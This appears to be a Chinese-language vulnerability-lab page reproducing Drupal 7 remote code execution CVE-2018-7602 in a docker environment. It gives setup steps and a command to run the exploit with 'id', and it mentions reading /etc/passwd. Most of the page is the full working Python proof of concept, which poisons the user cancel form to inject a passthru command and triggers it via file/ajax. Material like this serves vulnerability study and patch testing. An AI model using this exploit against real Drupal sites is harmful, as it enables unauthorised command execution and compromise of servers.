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120 lines
5.2 KiB
Markdown
120 lines
5.2 KiB
Markdown
# Drupal 远程代码执行漏洞 CVE-2018-7602
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## 漏洞描述
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影响软件：drupal
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方式：对URL中的#进行编码两次，绕过sanitize()函数过滤
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效果：任意命令执行
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## 环境搭建
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Vulhub执行如下命令启动drupal 7.57的环境：
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```bash
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docker-compose up -d
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```
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环境启动后，访问 `http://your-ip:8081/` 将会看到drupal的安装页面，一路默认配置下一步安装。因为没有mysql环境，所以安装的时候可以选择sqlite数据库。
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## 漏洞复现
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参考[pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py)的PoC，执行以下命令即可复现该漏洞，示例命令为 `id`：
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```bash
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# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码
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python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/
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```
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执行`cat /etc/passwd`:
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## 漏洞POC
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```python
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#!/usr/bin/env python3
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import requests
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import argparse
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from bs4 import BeautifulSoup
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def get_args():
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parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
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formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
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epilog= '''
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This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
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using an valid account and poisoning the cancel account form (user_cancel_confirm_form)
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with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).
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''')
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parser.add_argument("user", help="Username")
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parser.add_argument("password", help="Password")
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parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
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parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
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parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
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parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
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args = parser.parse_args()
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return args
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def pwn_target(target, username, password, function, command, proxy):
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requests.packages.urllib3.disable_warnings()
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session = requests.Session()
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proxyConf = {'http': proxy, 'https': proxy}
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try:
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print('[*] Creating a session using the provided credential...')
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get_params = {'q':'user/login'}
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post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
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print('[*] Finding User ID...')
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session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
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get_params = {'q':'user'}
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r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
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soup = BeautifulSoup(r.text, "html.parser")
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user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
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if ("?q=" in user_id):
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user_id = user_id.split("=")[1]
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if(user_id):
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print('[*] User ID found: ' + user_id)
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print('[*] Poisoning a form using \'destination\' and including it in cache.')
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get_params = {'q': user_id + '/cancel'}
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r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
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soup = BeautifulSoup(r.text, "html.parser")
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form = soup.find('form', {'id': 'user-cancel-confirm-form'})
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form_token = form.find('input', {'name': 'form_token'}).get('value')
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get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
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post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
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r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
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soup = BeautifulSoup(r.text, "html.parser")
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form = soup.find('form', {'id': 'user-cancel-confirm-form'})
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form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
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if form_build_id:
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print('[*] Poisoned form ID: ' + form_build_id)
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print('[*] Triggering exploit to execute: ' + command)
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get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
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post_params = {'form_build_id':form_build_id}
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r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
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parsed_result = r.text.split('[{"command":"settings"')[0]
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print(parsed_result)
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except:
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print("ERROR: Something went wrong.")
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raise
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def main():
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print ()
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print ('===================================================================================')
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print ('| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |')
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print ('| by pimps |')
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print ('===================================================================================\n')
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args = get_args() # get the cl args
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pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
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if __name__ == '__main__':
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main()
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```
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